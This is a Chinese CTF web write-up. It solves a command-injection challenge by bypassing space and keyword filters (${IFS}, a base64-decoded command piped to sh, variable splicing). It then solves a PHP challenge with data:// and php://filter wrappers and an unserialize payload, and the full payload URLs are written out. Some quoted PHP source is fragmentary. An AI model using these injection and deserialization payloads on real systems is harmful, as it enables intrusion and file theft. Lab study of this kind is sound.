空格过滤常见ctfweb题目中
*
大佬的博客,持续学习学习学习
https://www.ghtwf01.cn/index.php/archives/273/
首先使用burp抓包看看过滤了什么字符
基本上大部分字符都被过滤了,就很烦人
尝试构造?ip=127.0.0.1;ls
发现有两个东西
构造cat falg.php发现被过滤了,这怎么办???
flag被过滤,空格也被过滤
尝试%09发现不行
尝试nl%09*
发现被过滤了*
也就是说想要一键出flag不可能
上网查查过滤怎么办发现可以构造
${IFS}$1
尝试构造
?ip=127.0.0.1;nl${IFS}$1index.php
看到bash被过滤了
卧槽
但是sh没有被过滤,flag也没了
想想可以
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
base64解码
用sh在bash下大部分都能运行
或者
变量拼接↓
我们看到源码中有一个$a变量可以覆盖
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
··············································································································································································································································································
这道题的知识点就很多了,首先是绕过===,我们必须得上传文件,但好像没有办法上传文件,所以考虑data为协议
https://www.cnblogs.com/ichunqiu/p/10683379.html
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
第一绕过text
这里需要我们传入一个文件且其内容为welcome to the zjctf,这样的话往后面看没有其他可以利用的点,我们就无法写入文件再读取,就剩下了一个data伪协议。data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取。构造如下:
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
第二文件包含
因为我们知道php文件内容不会在页面中呈现出来,所以我们要利用filter协议使php文件内容呈现出来
我们可以构造
file=php://filter/read=convert.base64-encode/resource=useless.php
php://filter之前最常出镜的地方是XXE。由于XXE漏洞的特殊性,我们在读取HTML、PHP等文件时可能会抛出此类错误parser
error : StartTag: invalid element name 。其原因是,PHP是基于标签的脚本语言, ?>这个语法也与XML相符合,所以在解析XML的时候会被误认为是XML,而其中内容(比如特殊字符)又有可能和标准XML冲突,所以导致了出错。
那么,为了读取包含有敏感信息的PHP等源文件,我们就要先将“可能引发冲突的PHP代码”编码一遍,这里就会用到php://filter。
之后我们会解码base64
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
连接在一起
".file_get_contents($text,'r')."
";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
很明显了最后要传入一个password并且想要最后输出文件内存必须要走魔法函数
所以我们先序列化password,之后魔法函数遇到序列化内容就会执行函数最后输出
file_get_contents($this->file);注意一点我们在序列化时要序列化flag.php,这样才会输入flag
file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a= new flag();
$a->file="flag.php";
echo(serialize($a));
?>
最后payload
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=:&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
欢迎大佬的各种骚操作